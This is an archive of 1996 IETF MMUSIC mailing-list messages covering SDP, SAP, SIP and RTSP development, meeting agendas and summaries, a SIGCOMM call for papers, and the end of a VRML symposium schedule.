     * 2:00 PM Papers: Navigation and User Interface, Dave Kerlick
       moderator
          + QOTA: A Fast, Multi-Purpose Algorithm For Terrain Following
            in Virtual Environments, John W. Barrus and Richard Waters,
            Mitsubishi Electric Research Laboratory
          + MaPS: Movement and Planning Support for Navigation in an
            Immersive VRML Browser, John Edwards and Chris Hand, De
            Montfort University, Leicester UK
          + Adapting VRML 2.0 for Immersive Use, Randy Stiles, Sandeep
            Tewari and Mihir Mehta, Lockheed Martin Advanced Technology
            Center
     * 3:30 PM Break
     * 4:00 PM Panel: Avatar and Multi-user Standards, Moderator Bernie
       Roehl - University of Waterloo, Mitra - ParaGraph, David Anderson
       - MERL, Yasuaki Honda - Sony Computer Science Lab, et al.
     * 5:00 PM Panel: Using Java as a VRML development platform,
       Moderator: Michael Stein - Protozoa, Chris Marrin - SGI, Chris
       Laurel - Dimension X, Rodger Lea - Sony Computer Research
       Laboratory, et al.
     * 6:00 PM Break
     * 6:00 PM Exhibits close
     * 6:45 PM Motorcoaches depart for Monterey Bay Aquarium
     * 7:00 PM Monterey Bay Aquarium Dinner & Entertainment (sponsored)
     * 11:00 PM Motorcoach shuttle back to hotel
       
  WEDNESDAY, FEBRUARY 26, 1997
     * 7:00 AM Registration opens
     * 7:30 AM Continental breakfast (if sponsored)
     * 8:30 AM Plenary speaker (TBD)
     * 9:15 AM Working group reports
          + ISO Standardization and Conformance
          + Multi-user / Avatars
          + Databases
          + TBD
     * 10:00 AM Break
     * 10:00 AM Exhibits open
     * 10:30 AM Papers: Case Studies, Tamara Munzner moderator
          + The Out of Box Experience: Lessons learned creating
            compelling VRML 2.0 content, Sam Chen, Rob Myers and Rick
            Pasetto, Silicon Graphics Inc.
          + Networked VR System: Kitchen Layout Design for Customers,
            Tomohiro Fukuda, Ryuichiro Nagahama and Junji Nomura,
            Matsusita Electric Works Ltd.
          + Animation for Performance Debugging of Parallel Computing
            Systems, Noritaka Osawa, Hisaya Morita and Toshitsugu Yuba,
            The University of Electro-Communications, Japan
          + Using VRML to Access Manufacturing Data, Sandy Ressler,
            Qiming Wang, Scott Bodarky, Charles Sheppard and Gregory
            Seidman, National Institute of Standards and Technology
     * 12:30 PM Lunch
     * 2:00 PM Papers: Implementation II, Dick Puk moderator
          + V-COLLIDE: Accelerated Collision Detection for VRML, Tom
            Hudson, Ming C. Lin, Jon Cohen, Stefan Gottschalk and Dinesh
            Manocha, University of North Carolina
          + Lodestar: An Octree-Based Level of Detail Generator for VRML,
            Dieter Schmalstieg, Vienna University of Technology, Austria
          + Wired for Speed: Efficient Routes for VRML 2.0, Daniel Woods,
            Alan Norton and Gavin Bell, Silicon Graphics Inc. and Wazabi
     * 3:00 PM Exhibits close, tear down
     * 3:30 PM Break
     * 4:00 PM Panel: Dynamic and Personalized Worlds: Database
       Integration, Daniel Lipkin - Oracle, Clay Graham - Big Book,
       Adrian Scott - VRMLSite, et al.
     * 5:00 PM Panel: User Interface Design for Digital Space: 3d
       Navigation and Manipulation, Moderator: Bernie Roehl - University
       of Waterloo, Maclen Marvit - Worlds Inc., James Waldrop -
       Construct, Mark Pesce, et al.
     * 6:00 PM Symposium complete
     * 7:00 PM Dinner on own
       
  THURSDAY, FEBRUARY 27, 1997
     * Working group meetings by request (Hyatt or NPS)
       
   
   
   Additional questions? Please contact:
   
   Lynn Johnson
   Evans & Johnson
   P.O. Box 51621
   Pacific Grove, California 93950 USA
   408.655.9924 voice, 408.372.0846 fax
   ljohnson@redshift.com
   

all the best, Don
-- 
Don Brutzman  Naval Postgraduate School, Code UW/Br Root 200  work 408.656.2149
              Monterey California 93943-5000 USA              fax  408.656.3679
Virtual worlds/underwater robots/Internet http://www.stl.nps.navy.mil/~brutzman


From majordom@ISI.EDU  Thu Dec  5 09:26:38 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA06147>; Thu, 5 Dec 1996 17:27:08 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA06140>; Thu, 5 Dec 1996 17:27:02 -0800
Received: from INET-04-IMC.itg.microsoft.com (mail4.microsoft.com) by venera.isi.edu (5.65c/5.61+local-25)
	id <AA10203>; Thu, 5 Dec 1996 17:27:01 -0800
Received: by INET-04-IMC.itg.microsoft.com with SMTP (Microsoft Exchange Server Internet Mail Connector Version 4.0.994.63)
	id <01BBE2D1.B1D7E920@INET-04-IMC.itg.microsoft.com>; Thu, 5 Dec 1996 17:28:14 -0800
Message-Id: <c=US%a=_%p=msft%l=RED-23-MSG-961206012638Z-21577@INET-04-IMC.itg.microsoft.com>
From: Rajeev Byrisetty <rajeevb@microsoft.com>
To: "'confctrl@isi.edu'" <confctrl@isi.edu>
Subject: questions on sap and sdp
Date: Thu, 5 Dec 1996 17:26:38 -0800
X-Mailer:  Microsoft Exchange Server Internet Mail Connector Version 4.0.994.63
Encoding: 9 TEXT
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Hi,

	I had the following questions on sap and sdp -
	
1. 	What's the purpose of the version hash field in the sap header? 
2. 	 Are the NTP values used in sdp with respect to GMT?

Thanks,
Rajeev

From majordom@ISI.EDU  Thu Dec  5 10:27:33 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA09889>; Thu, 5 Dec 1996 18:27:43 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA09883>; Thu, 5 Dec 1996 18:27:42 -0800
Received: from std.sri.com by venera.isi.edu (5.65c/5.61+local-25)
	id <AA12366>; Thu, 5 Dec 1996 18:27:40 -0800
Received: from churchy.std.sri.com by std.sri.com (4.1/SMI-4.1)
	id AA07173; Thu, 5 Dec 96 18:27:36 PST
Message-Id: <9612060227.AA07173@std.sri.com>
To: confctrl@isi.edu
Cc: mjh@isi.edu, schooler@cs.caltech.edu, rlang@std.sri.com
Subject: final MMUSIC agenda
Date: Thu, 05 Dec 1996 18:27:33 -0800
From: Ruth Lang <rlang@std.sri.com>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


All,

The final agenda is the same as the draft agenda, except for the changed
document pointer to sdp.02.ps.  We have been informed that Scott Petrack
may not be able to attend the Monday session in which he has been
scheduled.  If that is the case, we will attempt to allocate time
for him on Tuesday.

See you in San Jose next week.

Mark, Eve, and Ruth
-------------------

Agenda for the MMUSIC Working Group
37th IETF, San Jose, California, USA

Monday, December 9,  13:00-15:00 (multicast)
--------------------------------------------

Welcome and Session Overview (5 minutes)

SDP - Session Description Protocol (20 min)
      Mark Handley, USC Information Sciences Institute

	ftp://ds.internic.net/internet-drafts/draft-ietf-mmusic-sdp.02.txt
	ftp://ftp.isi.edu/confctrl/docs/draft-ietf-mmusic-sdp.02.ps

SAP - Session Announcement Protocol (20 min)
      Mark Handley, USC Information Sciences Institute

	ftp://ds.internic.net/internet-drafts/draft-ietf-mmusic-sap.00.txt
	ftp://ds.internic.net/internet-drafts/draft-ietf-mmusic-sap.00.ps

SIP - Session Initiation Protocol (45 min)
      Mark Handley, USC Information Sciences Institute
      Henning Schulzrinne, Columbia University

	ftp://ftp.isi.edu/confctrl/docs/draft-ietf-mmusic-sip-01.txt
	ftp://ftp.isi.edu/confctrl/docs/draft-ietf-mmusic-sip-01.ps

Simple Universal Call/Conference Establishment Sequence (15 minutes)	
      Pete Cordell, British Telecom

	ftp://ds.internic.net/internet-drafts/draft-cordell-success-00.txt

User Location Service Protocol Status (5 minutes)
      William Lai, Microsoft Corporation

Overview of VoIP Forum (10 minutes)	
      Scott Petrack, VocalTec


Tuesday, December 10, 9:00-11:30 (not multicast)
------------------------------------------------

Welcome and Session Overview (10 minutes)

RTSP - Real Time Stream Protocol (30 minutes)
       Anup Rao, Netscape Communication
       Rob Lanphier, Progressive Networks

	ftp://ds.internic.net/internet-drafts/draft-ietf-mmusic-rtsp-00.txt

RTSP Open Issues Document Discussion (45 minutes)
       Anup Rao, Netscape Communication
       Rob Lanphier, Progressive Networks

	http://www.prognet.com/prognet/rt/openissues.html

RTSP' - Real-Time Stream Control Protocol (30 minutes)
	Henning Schulzrinne, Columbia University

	ftp://ds.internic.net/internet-drafts/draft-ietf-mmusic-stream.00.txt
	ftp://ds.internic.net/internet-drafts/draft-ietf-mmusic-stream.00.ps

Open Discussion of Issues and Scenarios (20 minutes)

CamCoder Control Protocol (15 minutes)
       Akira Amamo, Hiroshima City University


From majordom@ISI.EDU  Fri Dec 13 18:43:33 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA13687>; Fri, 13 Dec 1996 08:43:51 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA13676>; Fri, 13 Dec 1996 08:43:49 -0800
Received: from alpes.eurecom.fr by venera.isi.edu (5.65c/5.61+local-25)
	id <AA11043>; Fri, 13 Dec 1996 08:43:24 -0800
Received: from rosa.eurecom.fr (erbi@rosa.eurecom.fr [193.55.114.19]) by alpes.eurecom.fr (8.7.4/8.7.3) with SMTP id RAA09169; Fri, 13 Dec 1996 17:43:33 +0100 (MET)
Date: Fri, 13 Dec 1996 17:43:33 +0100 (MET)
From: Biersack Ernst <Ernst.Biersack@eurecom.fr>
Message-Id: <199612131643.RAA09169@alpes.eurecom.fr>
To: confctrl@isi.edu
Subject: Call for papers SIGCOMM 97
Cc: erbi@alpes.eurecom.fr
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


Dear colleagues,
The deadline for submission to SIGCOMM 97 is coming up.
Sigcomm will be next year in Europe and I urge you to consider submitting
and attend the conference. Please mark down the date.
Yours,
\Ernst Biersack
(Sigcomm Publicity Chair)


The next ACM SIGCOMM will be in September 1997 
at the Palais des Festivals in Cannes, France.

Tutorials, September 14-15, 1997
Conference, September 16-18, 1997


The deadlines are:
	   Paper submissions: 31 January 1997
	   Tutorial proposals: 31 January 1997 
	   Notification of acceptance: 28 April 1997
	   Camera-ready paper due: 30 May 1997 

Keywords:
Computers, Communications, Distributed Systems, Protocols, Networks

For more details, please  see:

http://www.inria.fr/rodeo/sigcomm97/


From majordom@ISI.EDU  Wed Dec 18 04:39:45 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA00996>; Wed, 18 Dec 1996 07:00:48 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA00990>; Wed, 18 Dec 1996 07:00:46 -0800
Received: from ietf.org by venera.isi.edu (5.65c/5.61+local-25)
	id <AA28204>; Wed, 18 Dec 1996 07:00:33 -0800
Received: from ietf.ietf.org by ietf.org id aa17133; 18 Dec 96 9:39 EST
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: confctrl@isi.edu
From: Internet-Drafts@ietf.org
Reply-To: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mmusic-sip-01.txt, .ps
Date: Wed, 18 Dec 1996 09:39:45 -0500
Message-Id:  <9612180939.aa17133@ietf.org>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

--NextPart

 A Revised Internet-Draft is available from the on-line Internet-Drafts 
 directories. This draft is a work item of the Multiparty Multimedia 
 Session Control Working Group of the IETF.                                

       Title     : SIP: Session Initiation Protocol                        
       Author(s) : M. Handley, H. Schulzrinne, E. Schooler
       Filename  : draft-ietf-mmusic-sip-01.txt, .ps
       Pages     : 30
       Date      : 12/17/1996

Many styles of multimedia conferencing are likely to co-exist on the 
Internet,  and many of them share the need to invite users to participate. 
The Session Initiation Protocol (SIP) is a simple protocol designed to 
enable the invitation of users to participate in such multimedia sessions. 
It is not tied to any specific conference control scheme,  providing 
support for either loosely or tightly controlled sessions.  In particular, 
it aims to enable user mobility by relaying and redirecting invitations to 
a user's current location.        

This document is a product of the Multiparty Multimedia Session Control 
(MMUSIC) working group of the Internet Engineering Task Force.  
Comments are solicited and should be addressed to the working group's 
mailing list at confctrl@isi.edu and/or the authors.                                                               

Internet-Drafts are available by anonymous FTP.  Login with the username
"anonymous" and a password of your e-mail address.  After logging in,
type "cd internet-drafts" and then
     "get draft-ietf-mmusic-sip-01.txt".
 Or 
     "get draft-ietf-mmusic-sip-01.ps".
A URL for the Internet-Draft is:
ftp://ds.internic.net/internet-drafts/draft-ietf-mmusic-sip-01.txt
 
Internet-Drafts directories are located at:	
	                                                
     o  Africa:  ftp.is.co.za                    
	                                                
     o  Europe:  nic.nordu.net            	
                 ftp.nis.garr.it                 
	                                                
     o  Pacific Rim: munnari.oz.au               
	                                                
     o  US East Coast: ds.internic.net           
	                                                
     o  US West Coast: ftp.isi.edu               
	                                                
Internet-Drafts are also available by mail.	
	                                                
Send a message to:  mailserv@ds.internic.net. In the body type: 
     "FILE /internet-drafts/draft-ietf-mmusic-sip-01.txt".
 Or 
     "FILE /internet-drafts/draft-ietf-mmusic-sip-01.ps".
							
NOTE: The mail server at ds.internic.net can return the document in
      MIME-encoded form by using the "mpack" utility.  To use this
      feature, insert the command "ENCODING mime" before the "FILE"
      command.  To decode the response(s), you will need "munpack" or
      a MIME-compliant mail reader.  Different MIME-compliant mail readers
      exhibit different behavior, especially when dealing with
      "multipart" MIME messages (i.e., documents which have been split
      up into multiple messages), so check your local documentation on
      how to manipulate these messages.
							
							

Below is the data which will enable a MIME compliant mail reader 
implementation to automatically retrieve the ASCII version
of the Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type:  Message/External-body;
        access-type="mail-server";
        server="mailserv@ds.internic.net"

Content-Type: text/plain
Content-ID: <19961217163845.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-sip-01.txt

--OtherAccess
Content-Type:   Message/External-body;
        name="draft-ietf-mmusic-sip-01.txt";
        site="ds.internic.net";
        access-type="anon-ftp";
        directory="internet-drafts"

Content-Type: text/plain
Content-ID: <19961217163845.I-D@ietf.org>

--OtherAccess--

--NextPart--


From majordom@ISI.EDU  Wed Dec 18 04:07:44 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA17007>; Wed, 18 Dec 1996 12:08:05 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA17000>; Wed, 18 Dec 1996 12:08:03 -0800
Received: from vlsi.cs.caltech.edu by venera.isi.edu (5.65c/5.61+local-25)
	id <AA10894>; Wed, 18 Dec 1996 12:07:56 -0800
Received: from fides.cs.caltech.edu by vlsi.cs.caltech.edu (4.1/1.34.1)
	id AA05505; Wed, 18 Dec 96 12:07:44 PST
Date: Wed, 18 Dec 96 12:07:44 PST
From: schooler@cs.caltech.edu (Eve Schooler)
Message-Id: <9612182007.AA05505@vlsi.cs.caltech.edu>
To: confctrl@isi.edu
Subject: MMUSIC summary
Cc: schooler@cs.caltech.edu, mjh@isi.edu, rlang@std.sri.com
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

 
Courtesy of Ruth Lang, here is a summary of the two MMUSIC sessions 
that took place at the San Jose IETF.

---------------------

Monday 12/9

Mark Handley described significant modifications made to the Session
Description Protocol.  He then introduced the topic of representing
session capabilities (i.e., options from which to choose to create a
session as opposed to an instantiatable session as SDP describes now).
A strawman extension to the syntax of SDP was introduced along with a
couple of examples.  Questions arose from the group which identified
that "potential sessions" were not a well-understood concept.  Mark
proposed that the current draft of SDP be submitted as a proposed
standard, and that work begin to extend SDP to support capability
description.  Henning Schulzrinne objected to the latter in favor of
adopting a new syntax rather than extending SDP.  He also said that he
would raise an objection to the former if advancing the current SDP
draft implied that compatibility with it would need to be maintained
by a new session description format/protocol.

Ross Finlayson spoke briefly about the work of the Calendaring and
Scheduling Working Group and his work to encourage this group to adopt
conventions that will make their event descriptions compatible with
SDP.  He also identified areas of potential incompatibility which
implied that participation by MMUSIC in this WG is needed to ensure
compatible results.

Mark Handley described the significant modifications made to the
Session Announcement Protocol to create draft-ietf-mmusic-sap.00 (a
previous PS I-D existed but the lack of a txt version caused a reuse
of 00 for the 2nd version of the document).  Open issues were
identified and discussed which included security, generation of a
unique ID (guid's suggested as an option), and restricting SAP to
carry only SDP packets.

Mark Handley presented a "new" protocol, the Session Initiation
Protocol, which represents the unification of Handley/Schooler's
Session Invitation Protocol and Schulzrinne's Simple Conference
Invitation Protocol (all 3 are co-authors on this new draft).  This
protocol is specified to be carried over UDP or TCP, uses an HTTP-like
syntax and HTTP 1.1 status codes.  Open issues identified include:
defining UDP<->TCP proxy behavior, supporting capability requests,
adding additional support for transfers between telephone and
Internet.

Pete Cordell of British Telecom presented a description of research
work (no implementation) to develop the Simple Universal
Call/Conference Establishment Sequence Protocol.  It is a single
protocol for session management (cf the modular approach employed in
the specification of MMUSIC protocols) intended to support the range
of tightly to loosely controlled sessions.  It's call model is based
on a "hello-hello" paradigm.  Due to lack of time, not much discussion
on this protocol ensued.

Tuesday 12/10

Scott Petrack (Vocaltec, Inc.) provided an overview of the VoIP (Voice
on IP) Forum.  This is an IMTC group whose goal is to ensure and
promote industry-wide interoperability of Internet voice
communications products.  They will define technical guidelines for
two-party voice and other audio communications for compatibility with
traditional telephone service networks via telephony/IP gateways.

Rob Lanphier (Progressive Networks) and Anup Rao (Netscape
Communication) provided an overview of the Real Time Stream Protocol
(RTSP) and illustrated its use with a couple of examples.  

Henning Schulzrinne (Columbia U.) provided an overview of RTSP'.  An
alternative proposal inspired by the Netscape/Progressive work which
is more compatible with existing MMUSIC protocols and philosophy.

Open issues for real-time streaming were discussed which included text
vs binary representation of the protocol, stream control vs device
control, metafile/session descriptions, joining into existing
conferences, and multi-client control of streams.

   Sidebar discussions after the session defined a direction to unify the
   two drafts into a single proposal with RTSP' as the identified
   starting point for the work.  Lanphier and Rao will discuss this
   direction with their respective companies.  The chairs encouraged that
   after these discussion and potential follow-up discussions with
   Schulzrinne and/or MMUSIC co-chairs that they provide a summary for
   the MMUSIC community on the future direction of the protocol.

Akira Amamo (Hiroshima City University) presented the CamCoder Control
Protocol targeted for the control of video cameras and VCRs.  It is a
text-based protocol designed after ftp.  Christian Huitema suggested
that the authors consider writing an SNMP MIB for this purpose.  A
difference-of-opinion discussion about text vs binary protocol for
this purpose was cut short due to lack of time in the session.
 

From majordom@ISI.EDU  Wed Dec 18 07:39:10 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA29192>; Wed, 18 Dec 1996 15:40:49 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA29186>; Wed, 18 Dec 1996 15:40:48 -0800
Received: from proxy2.ba.best.com by venera.isi.edu (5.65c/5.61+local-25)
	id <AA20020>; Wed, 18 Dec 1996 15:40:48 -0800
Received: from mg137-025.ricochet.net (mg137-025.ricochet.net [204.179.137.25]) by proxy2.ba.best.com (8.8.4/8.8.3) with SMTP id PAA05446 for <confctrl@ISI.EDU>; Wed, 18 Dec 1996 15:39:10 -0800 (PST)
Date: Wed, 18 Dec 1996 15:39:10 -0800 (PST)
Message-Id: <1.5.4.16.19961218162825.5ea743b4@pop.best.com>
X-Sender: rsf@pop.best.com
X-Mailer: Windows Eudora Light Version 1.5.4 (16)
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
To: confctrl@ISI.EDU
From: Ross Finlayson <finlayson@lvn.com>
Subject: Re: MMUSIC summary
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

>Mark Handley described the significant modifications made to the
>Session Announcement Protocol
...
>Open issues were
>identified and discussed which included security, generation of a
>unique ID (guid's suggested as an option)

I recall someone mentioning at the meeting that there existed a proposal
(I-D?) somewhere for uniform 128(?)-bit Internet-wide global unique ids
(presumably host id+timestamp+fudge).  Does anyone have a pointer to this
proposal?

        Ross.


From majordom@ISI.EDU  Wed Dec 18 15:00:18 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA06229>; Wed, 18 Dec 1996 17:00:37 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA06223>; Wed, 18 Dec 1996 17:00:35 -0800
Received: from pointer.cisco.com by venera.isi.edu (5.65c/5.61+local-25)
	id <AA24527>; Wed, 18 Dec 1996 17:00:35 -0800
Received: from oranlt.cisco.com (oran-toshiba.cisco.com [171.69.210.2]) by pointer.cisco.com (8.6.12/8.6.5) with SMTP id RAA26984; Wed, 18 Dec 1996 17:00:16 -0800
Message-Id: <3.0.1.32.19961218200014.00770150@pointer.cisco.com>
X-Sender: oran@pointer.cisco.com
X-Mailer: Windows Eudora Pro Version 3.0.1 beta 3 (32)
Date: Wed, 18 Dec 1996 20:00:18 -0500
To: Ross Finlayson <finlayson@lvn.com>, confctrl@ISI.EDU
From: David Oran <oran@cisco.com>
Subject: Re: MMUSIC summary
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

At 03:39 PM 12/18/96 -0800, Ross Finlayson wrote:
>>Mark Handley described the significant modifications made to the
>>Session Announcement Protocol
>I recall someone mentioning at the meeting that there existed a proposal
>(I-D?) somewhere for uniform 128(?)-bit Internet-wide global unique ids
>(presumably host id+timestamp+fudge).  Does anyone have a pointer to this
>proposal?
>
I was the guilty party. I suggested that UUIDs (Universal Unique
Identifiers) might be a really good solution for things like session
identifiers, CODEC identifiers (not payload types), and the like because
they have nice properties (both spacially and temporally unique), have both
a binary and a canonical textual representation, and theere is plaatofrm
support for generating them since they're used on a wide variety of
platforms (any Unix that supports OSF/DCE, any ActiveX (nee. OLE) compliant
platform like NT, etc.)

I'm in the process of obtaining the latest spec and checking with the
owners if there's any problem in using it as the basis of an internet
draft. I don't think there will be a problem (other than the finding some
time to write up the beastie.

Dave Oran

-----------------
David R. Oran
Cisco Systems		Direct: 408-527-0567
7 Ladyslipper Lane	Home Office: 508-264-2048,  Home: 508-263-2705
Acton, MA 01720	EMail: oran@cisco.com


From majordom@ISI.EDU  Thu Dec 19 06:55:11 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA26043>; Thu, 19 Dec 1996 08:55:18 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA26037>; Thu, 19 Dec 1996 08:55:17 -0800
Received: from tis-mail.thepoint.net (tis-backup.thepoint.net) by venera.isi.edu (5.65c/5.61+local-25)
	id <AA14645>; Thu, 19 Dec 1996 08:55:15 -0800
Received: by tis-mail.thepoint.net with SMTP (Microsoft Exchange Server Internet Mail Connector Version 4.0.993.5)
	id <01BBEDA3.7E384650@tis-mail.thepoint.net>; Thu, 19 Dec 1996 11:55:13 -0500
Message-Id: <c=US%a=_%p=ThePoint_Interne%l=TIS_MAIL-961219165511Z-113@tis-mail.thepoint.net>
From: Arlie Davis <arlie@thepoint.net>
To: 'David Oran' <oran@cisco.com>, 'Ross Finlayson' <finlayson@lvn.com>,
        "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>
Subject: RE: MMUSIC summary
Date: Thu, 19 Dec 1996 11:55:11 -0500
X-Mailer:  Microsoft Exchange Server Internet Mail Connector Version 4.0.993.5
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Using UUIDs is an excellent idea.  I whole-heartedly reccomend doing so.

-- arlie

>-----Original Message-----
>From:	David Oran [SMTP:oran@cisco.com]
>Sent:	Wednesday, December 18, 1996 8:00 PM
>To:	Ross Finlayson; confctrl@ISI.EDU
>Subject:	Re: MMUSIC summary
>
>I was the guilty party. I suggested that UUIDs (Universal Unique
>Identifiers) might be a really good solution for things like session
>identifiers, 
>
>[...]
>

From majordom@ISI.EDU  Thu Dec 19 07:21:05 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA14964>; Thu, 19 Dec 1996 15:22:02 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA14958>; Thu, 19 Dec 1996 15:22:01 -0800
Received: from murrow.prognet.com (prognet.com) by venera.isi.edu (5.65c/5.61+local-25)
	id <AA02727>; Thu, 19 Dec 1996 15:22:00 -0800
Received: from robla.dev.prognet.com (two221.dev.prognet.com) by murrow.prognet.com with SMTP id AA30918
  (5.67b/IDA-1.5 for <confctrl@isi.edu>); Thu, 19 Dec 1996 15:21:58 -0800
Message-Id: <3.0.1.32.19961219152104.006f5ca4@mail.prognet.com>
X-Sender: robla@mail.prognet.com
X-Mailer: Windows Eudora Pro Version 3.0.1 beta 1 (32)
Date: Thu, 19 Dec 1996 15:21:05 -0800
To: confctrl@isi.edu
From: Rob Lanphier <robla@prognet.com>
Subject: Future Direction for RTSP
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

As per Ruth's request, we'd like to lay out the positions of Netscape and
Progressive Networks on the future direction of RTSP as we had discussed
last Wednesday in San Jose.  We'll start by summarizing the meeting as we
saw it, and then conclude with how we would like to proceed.

Outline:
1.  RTSP vs. RTSP'
2.  Role of the Metafile/Stream Description
3.  One control stream for many data streams?
4.  Roadmap

==================
1.  RTSP vs. RTSP'
==================

The main topic of discussion at the Wednesday RTSP meeting was to discuss
the merits of RTSP and RTSP' and see which document would be the foundation
for the next draft of RTSP.  

Generally speaking, there was a feeling that
RTSP' would serve as a better starting point, and that Netscape and PN
would assume change control of this document, and submit the next draft of
RTSP as soon as possible.  RTSP' addressed some of the issues brought up
after the submission of RTSP.  These issues were:

*  RTSP' was perceived
to be a simpler protocol.  However, it was also understood that there is a
lot of fleshing out to be done on this document.  Nonetheless, it was the
consensus that the simplicity of RTSP' was a big advantage to it.

*  RTSP'
seems more easily extensible.  The design philosophy behind RTSP was to
allow extensions via "OPTION" commands, but the level of extensibility
found in a MIME-property text-based protocol may be found in binary
protocols such as those based on ASN.1.

*  RTSP' borrows heavily from
HTTP, and therefore would be a better understood protocol for it, although
there was a note of caution that it similarity to HTTP doesn't necessarily
mean that issues such as authentication and options negotiation are solved
automatically by basing RTSP' on HTTP.  The ability to potentially
interlace HTTP and RTSP' were perceived as being good, and the ability to
reuse HTTP code was also perceived as a good thing.  The similarity to HTTP
was a feature that needs further clarifications as to the benefits and
risks.

*  The self-documenting nature of a text-based protocol was also
seen as a good thing.  However, it was not unanimous, and no one felt
comfortable in declaring text the unambiguously superior choice.  In the
interest of moving forward, though, the next draft will be a text-based
protocol.

===========================================
2.  Role of the Metafile/Stream Description
===========================================

The role of the metafile in the interaction was also discussed at great
length.  After some animated deliberation, it was decided that the
flexibility needs to exist to:

*  Allow metafile embeddability in HTML
pages, allowing a media plugin to do a priori stream selection, reducing
the user-perceived round-trips  from the point at which the user presses
"play".

*  Less clear was the desire to allow hand-authorable
metafile/session descriptions.  However, a rough consensus was reached that
a line can be drawn between information necessary for stream selection and
initialization parameters necessary for rendering streams.  It was further
decided that there was a need for the former to be handled by the metafile,
and the latter to optionally be contained as a PARAM_REPLY within RTSP
(perhaps as a binary blob in the case of .wav files or QuickTime files).

=============================================
3.  One control stream for many data streams?
=============================================

Another point of discussion was allowing multi-stream control using single
commands (i.e. one "stop" message stops all streams).  RTSP' provides an
implicit mechanism for this by defining a hierarchy using relative URLs.
For example, if a presentation consists of the following
streams:
twister/audio/14_4
twister/video/80

...then a command roughly in
the form of:
STOP twister/*

...could be issued which would stop all
streams. 

The consensus was that the implentation implications need to be
fully investigated.

==========
4. Roadmap
==========
*  Anup and Rob will work with Henning to
produce a new version of the draft.

*  Netscape and PN will do further
investigation of the performance implications of proceeding with a
text-based protocol vs. a binary-based protocol.  Barring any unforseen
difficulties or large disparities in performance, we will aim toward a
text-based protocol.

Comments?

Rob & Anup


From majordom@ISI.EDU  Tue Dec 24 11:38:51 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA12224>; Tue, 24 Dec 1996 03:41:32 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA12216>; Tue, 24 Dec 1996 03:41:19 -0800
Received: from mail.u-net.net by venera.isi.edu (5.65c/5.61+local-26)
	id <AA14088>; Tue, 24 Dec 1996 03:41:09 -0800
Received: from sgml.u-net.com ([193.119.188.188]) by mail.u-net.net with SMTP id <40700-507>; Tue, 24 Dec 1996 11:36:12 +0000
Message-Id: <1.5.4.32.19961224113851.0069b48c@mail.u-net.com>
X-Sender: mtbryan-sgml@mail.u-net.com
X-Mailer: Windows Eudora Light Version 1.5.4 (32)
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: 	Tue, 24 Dec 1996 11:38:51 +0000
To: Internet-Drafts@ietf.org
From: Martin Bryan <mtbryan@sgml.u-net.com>
Subject: Re: MMUSIC
Cc: confctrl@isi.edu
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Man-Sze
>
>For you to note - in case you have not come across it.
>

>       Title     : SIP: Session Initiation Protocol                        

This was one of the 100+ changes made during my review of our pages last
week - there are 7 new entries to replace what was SCIP!

Shows how well we work together as a team!!

Happy Christmas, and remember to take the day off!!!
----
Martin Bryan, The SGML Centre, Churchdown, Glos. GL3 2PU, UK 
Phone/Fax: +44 1452 714029   WWW home page: http://www.u-net.com/~sgml/



From majordom@ISI.EDU  Mon Dec 30 04:37:52 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA25641>; Mon, 30 Dec 1996 12:37:36 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA25634>; Mon, 30 Dec 1996 12:37:34 -0800
Received: from slave.onlive.com by venera.isi.edu (5.65c/5.61+local-26)
	id <AA09073>; Mon, 30 Dec 1996 12:37:33 -0800
Received: by slave.onlive.com with SMTP (Microsoft Exchange Server Internet Mail Connector Version 4.0.993.5)
